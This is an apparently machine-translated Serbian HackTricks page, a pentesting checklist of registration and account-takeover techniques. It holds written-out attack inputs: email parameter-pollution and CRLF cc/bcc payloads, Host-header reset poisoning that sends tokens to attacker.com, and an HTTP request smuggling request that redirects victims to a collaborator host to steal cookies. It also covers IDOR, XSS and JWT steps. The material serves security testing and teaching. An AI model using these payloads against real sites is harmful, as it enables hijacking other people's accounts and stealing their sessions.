Registration & Takeover Vulnerabilities

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Preuzimanje Registracije

Dupla Registracija

  • Pokušajte da generišete koristeći postojeće korisničko ime

  • Proverite varijacije email-a:

  • velika slova

  • +1@

  • dodajte tačku u email

  • specijalni karakteri u imenu email-a (%00, %09, %20)

  • Stavite crne karaktere posle email-a: test@test.com a

  • victim@gmail.com@attacker.com

  • victim@attacker.com@gmail.com

Enumeracija Korisničkog Imena

Proverite da li možete da otkrijete kada je korisničko ime već registrovano unutar aplikacije.

Politika Lozinki

Kreirajući korisnika, proverite politiku lozinki (proverite da li možete koristiti slabe lozinke). U tom slučaju možete pokušati da bruteforce-ujete akreditive.

SQL Injekcija

Proverite ovu stranicu da biste naučili kako da pokušate preuzimanje naloga ili izvučete informacije putem SQL Injekcija u registracionim formama.

Oauth Preuzimanja

OAuth to Account takeover

SAML Ranljivosti

SAML Attacks

Promena Email-a

Kada se registrujete, pokušajte da promenite email i proverite da li je ova promena ispravno validirana ili možete promeniti na proizvoljne email adrese.

Dodatne Provere

  • Proverite da li možete koristiti disposable email-ove

  • Duga lozinka (>200) dovodi do DoS

  • Proverite ograničenja brzine na kreiranju naloga

  • Koristite username@burp_collab.net i analizirajte callback

Preuzimanje putem Resetovanja Lozinke

Curjenje Tokena za Resetovanje Lozinke putem Referrera

  1. Zatražite resetovanje lozinke na vašu email adresu

  2. Kliknite na link za resetovanje lozinke

  3. Ne menjajte lozinku

  4. Kliknite na bilo koje 3rd party sajtove (npr: Facebook, Twitter)

  5. Presretnite zahtev u Burp Suite proxy

  6. Proverite da li referer header curi token za resetovanje lozinke.

Trovanje Resetovanja Lozinke

  1. Presretnite zahtev za resetovanje lozinke u Burp Suite

  2. Dodajte ili izmenite sledeće heder-e u Burp Suite : Host: attacker.com, X-Forwarded-Host: attacker.com

  3. Prosledite zahtev sa izmenjenim heder-om http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com

  4. Potražite URL za resetovanje lozinke na osnovu host header-a kao što je: https://attacker.com/reset-password.php?token=TOKEN

Resetovanje Lozinke putem Email Parametra

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR na API parametrima

  1. Napadač mora da se prijavi sa svojim nalogom i ode na funkciju Promena lozinke.

  2. Pokrenite Burp Suite i presretnite zahtev.

  3. Pošaljite ga na repeater tab i izmenite parametre: ID korisnika/email powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Slab token za resetovanje lozinke

Token za resetovanje lozinke treba da bude nasumično generisan i jedinstven svaki put. Pokušajte da odredite da li token ističe ili je uvek isti, u nekim slučajevima algoritam za generisanje je slab i može se pogoditi. Sledeće varijable mogu biti korišćene od strane algoritma.

  • Vreme

  • ID korisnika

  • Email korisnika

  • Ime i prezime

  • Datum rođenja

  • Kriptografija

  • Samo brojevi

  • Mala sekvenca tokena (karakteri između [A-Z,a-z,0-9])

  • Ponovna upotreba tokena

  • Datum isteka tokena

Curjenje tokena za resetovanje lozinke

  1. Pokrenite zahtev za resetovanje lozinke koristeći API/UI za specifičan email npr: test@mail.com

  2. Istražite odgovor servera i proverite za resetToken

  3. Zatim koristite token u URL-u kao https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Resetovanje lozinke putem kolizije korisničkog imena

  1. Registrujte se na sistem sa korisničkim imenom identičnim korisničkom imenu žrtve, ali sa razmacima umetnutim pre i/ili posle korisničkog imena. npr: "admin "

  2. Zatražite resetovanje lozinke sa svojim zlonamernim korisničkim imenom.

  3. Iskoristite token poslat na vaš email i resetujte lozinku žrtve.

  4. Priključite se nalogu žrtve sa novom lozinkom.

Platforma CTFd je bila ranjiva na ovaj napad. Pogledajte: CVE-2020-7245

Preuzimanje naloga putem Cross Site Scripting-a

  1. Pronađite XSS unutar aplikacije ili poddomena ako su kolačići ograničeni na roditeljski domen: *.domain.com

  2. Curite trenutni kolačić sesije

  3. Autentifikujte se kao korisnik koristeći kolačić

Preuzimanje naloga putem HTTP Request Smuggling-a

1. Koristite smuggler da detektujete tip HTTP Request Smuggling-a (CL, TE, CL.TE) powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h 2. Kreirajte zahtev koji će prepisati POST / HTTP/1.1 sa sledećim podacima: GET http://something.burpcollaborator.net HTTP/1.1 X: sa ciljem da otvorite preusmeravanje žrtava na burpcollab i ukradete njihove kolačiće 3. Finalni zahtev može izgledati ovako

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone izveštaji o eksploataciji ovog buga * https://hackerone.com/reports/737140 * https://hackerone.com/reports/771666

Preuzimanje naloga putem CSRF

  1. Kreirajte payload za CSRF, npr: “HTML forma sa automatskim slanjem za promenu lozinke”

  2. Pošaljite payload

Preuzimanje naloga putem JWT

JSON Web Token može se koristiti za autentifikaciju korisnika.

  • Izmenite JWT sa drugim ID-jem korisnika / Email-om

  • Proverite slab JWT potpis

JWT Vulnerabilities (Json Web Tokens)

Reference

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Last updated